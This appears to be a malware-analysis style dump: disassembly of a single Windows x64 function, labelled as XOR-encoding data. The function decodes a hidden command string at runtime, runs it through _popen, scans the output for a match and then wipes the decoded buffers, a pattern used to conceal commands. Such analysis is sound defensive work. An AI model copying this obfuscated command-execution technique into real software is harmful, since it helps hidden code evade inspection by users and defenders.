Function at 0x140001a80
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rax - 0x78]
sub rsp, 0x160
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x14001e040]
xor rax, rsp
mov qword [rbp + 0x40], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
movups xmm0, xmmword [str._509s3_2]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14001b710]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14001b720]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14001b730]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x14001b740]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x14001b748]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x14001b74c]
mov byte [rbp - 0x44], al
movzx eax, word [0x14001b68c]
mov word [rsp + 0x20], ax
cmp byte [0x14001b68d], 0
je 0x140001b20
mov byte [rsp + 0x20], 0x72
xor byte [rsp + 0x21], 0x58
xor r14d, r14d
mov r8d, r14d
mov esi, dword [0x14001e088]
cmp esi, 2
jl 0x140001c7d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140001b70
cmp r8d, 0x4d
jge 0x140001cc3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x140001c90
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
cmp byte [rbp - 0x44], r14b
jne 0x140001e73
mov r8d, r14d
cmp esi, 2
jl 0x140001e2d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140001d20
cmp r8d, 0x4d
jge 0x140001e73
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x140001e40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], eax
mov byte [rbp - 0x44], al
test rdi, rdi
jne 0x140001ed9
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140001ed2
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140001ecd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000209a
mov rcx, r8
call fcn.1400198c4
xor al, al
jmp 0x140002062
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
xor r8d, r8d
lea rdx, [0x14001b558]
lea rcx, [rsp + 0x48]
call fcn.140018fa0
nop
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
test eax, eax
jne 0x140001f42
nop word [rax + rax]
mov r8, rdi
mov edx, 0x80
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140001f35
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400182a0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
test eax, eax
je 0x140001f10
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov r9, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140001f58
mov r9, qword [rbx]
lea r8, [rsp + 0x48]
mov r11, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x60]
cmp rsi, 0xf
cmova r8, r11
movzx edx, byte [r8]
test dl, dl
je 0x140001fb6
movzx r10d, byte [r9]
nop dword [rax + rax]
cmp dl, r10b
jne 0x140001fab
mov rcx, r9
mov rax, r8
test dl, dl
je 0x140001fa6
nop
movzx edx, byte [rcx]
test dl, dl
je 0x140001fa6
cmp byte [rax], dl
jne 0x140001fab
inc rax
inc rcx
cmp byte [rax], 0
jne 0x140001f90
cmp byte [rcx], 0
je 0x140001fb9
inc r8
movzx edx, byte [r8]
test dl, dl
jne 0x140001f80
mov r8, r14
test r8, r8
setne dil
lea rax, [rsp + 0x48]
cmp rsi, 0xf
cmova rax, r11
mov qword [rsp + 0x58], r14
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140002015
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002010
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400198c4
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000205e
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140002059
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000209a
mov rcx, r8
call fcn.1400198c4
movzx eax, dil
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], r14
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.140019620
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3